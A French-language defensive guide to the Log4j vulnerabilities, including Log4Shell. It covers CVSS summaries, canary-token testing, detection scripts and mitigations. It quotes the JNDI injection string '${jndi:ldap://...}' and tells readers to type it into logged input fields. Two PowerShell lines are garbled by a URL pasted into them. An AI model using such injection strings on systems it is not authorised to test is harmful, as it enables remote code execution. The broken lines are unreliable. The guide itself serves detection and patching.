Le grand méchant loup des vulnérabilités dans Log4j. La vulnérabilité est exploitée lorsqu'une variante de la chaîne ${jndi:ldap://\<code d'attaque>/a} est journalisée par Log4j. CVSS 10.0, RCE.

Pas aussi grave que CVE-2021-44228, mais tout aussi méchant. Nécessite une configuration non standard de Log4j. CVSS 9.0, RCE et DoS.

Pas aussi grave que CVE-2021-44228, aussi un peu moins méchant. CVSS 7.5, DoS

Concerne uniquement Log4j version 1.x. Nécessite que Log4j utilise JMSAppender. CVSS 6.6, RCE L'exploitation nécessite que Log4j utilise JMSAppender. Soit par JMSAppender configuré directement - ce qui est rare - soit par l'attaquant l'ajoutant lui-même à la configuration de Log4j. De plus, l'attaquant doit avoir accès pour modifier la configuration de JMSAppender. Si c'est le cas, l'attaquant aura normalement déjà accès au système. La vulnérabilité est donc considérée comme peu pertinente.

Concerne uniquement Log4j version 1.x. Nécessite que Log4j utilise SocketServer. CVSS 9.8, RCE Donne à un attaquant ayant un accès réseau au socket concerné la possibilité d'exécuter du code. Le code d'exploitation est publiquement disponible.

2. Construisez cette chaîne de texte ${jndi:ldap://<token canari>/a}
3. Saisissez cette chaîne dans tous les champs qui peuvent potentiellement être journalisés

- User-agent
- Champ de recherche
- Nom d'utilisateur
- ...

4. Suivez les alertes canari et découvrez où log4j s'exécute.

Réf : Tweet de Florian Roth

Windows

Celle-ci prend tous les disques, y compris les lecteurs réseau mappés :

Get-PSDrive -PSProvider FileSystem | foreach {(gci ($_.Root) -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path)}

Ref: https://twitter.com/0gtweet/status/1469661769547362305

Si l'on souhaite uniquement vérifier les disques locaux :

Get-CimInstance win32_volume | Where-Object { $_.DriveType -eq 3 -and $_.DriveLetter -ne $null} | ForEach-Object {(gci ($_.DriveLetter+"\") -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path)}

Ref: https://twitter.com/webmastir/status/1470386184052486155?s=20

Si l'on souhaite en plus vérifier le journal des événements sur la machine.

Get-WinEvent -ListLog * |
  foreach { get-winevent @{logname=$_.logname; } -ea 0 } |
  where message -match 'jndi'

Linux #1

#!/bin/bash
find / -name '*log4j*.jar' -print0 2>/dev/null -print0 | while read -d $'\0' log4j; do
        echo -en "${log4j}: "$(unzip -p "${log4j}" | strings | grep -Po '^Implementation-Version:\s+([0-9\.]+)' | awk '{ print $NF }')"\n"
done
exit 0

À exécuter en tant que root

Linux #2

lsof | grep log4j-core

Java 8

Mettez à jour Log4j vers la v 2.17.0

Java 7

Mettez à jour Log4j vers la v 2.12.2 ATTENTION n'atténue pas CVE-2021-45105

⚠️ cette méthode n'est plus considérée comme une solution complète car elle n'atténue pas toutes les vulnérabilités dans toutes les situations.

Windows

[Environment]:https://raw.githubusercontent.com/helsecert/cve-2021-44228/main/:SetEnvironmentVariable(%22LOG4J_FORMAT_MSG_NO_LOOKUPS%22,%22true%22,%22Machine%22)

REMARQUE : Nécessite un redémarrage

De https://twitter.com/CyberRaiju/status/1469505680138661890

Définir le flag JVM

"‐Dlog4j2.formatMsgNoLookups=True"

Exemple de ligne de commande :

JAVA_OPTS="-Dlog4j2.formatMsgNoLookups=true" teku --network mainnet

Ou avec une valeur -Xmx :

JAVA_OPTS="-Dlog4j2.formatMsgNoLookups=true -Xmx4g" teku

Exemple de configuration systemd :

Environment='JAVA_OPTS="-Dlog4j2.formatMsgNoLookups=true"'

Ou avec une valeur -Xmx :

Environment='JAVA_OPTS="-Dlog4j2.formatMsgNoLookups=true" "-Xmx4g'

Ceci est chargé lors du redémarrage de l'application De https://github.com/ConsenSys/teku/security/advisories/GHSA-mwfw-vm54-g3p7

Un fichier jar est une archive (fichier zip) et peut être ouvert. Les fichiers peuvent ensuite être supprimés. Cela peut être fait manuellement avec des outils comme 7-zip (voir image) ou en utilisant un script.

Nécessite un redémarrage de l'application

Ref: https://mogwailabs.de/en/blog/2021/12/vulnerability-notes-log4shell/9

Windows

[Reflection.Assembly]:https://raw.githubusercontent.com/helsecert/cve-2021-44228/main/:LoadWithPartialName(%27System.IO.Compression%27)
$JarFilLokasjon = 'C:\temp\log4j-core-2.13.0-test.jar'
$Filnavn   = 'JndiLookup.class' #Cette ligne est supprimée !

$Stream = New-Object IO.FileStream($JarFilLokasjon, [IO.FileMode]::Open)
$ZipMode   = [IO.Compression.ZipArchiveMode]::Update
$Zip    = New-Object IO.Compression.ZipArchive($stream, $ZipMode)

($zip.Entries | Where-Object { $Filnavn -contains $_.Name }) | ForEach-Object { $_.Delete() }
$zip.Dispose()
$stream.Close()
$stream.Dispose()

Linux

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class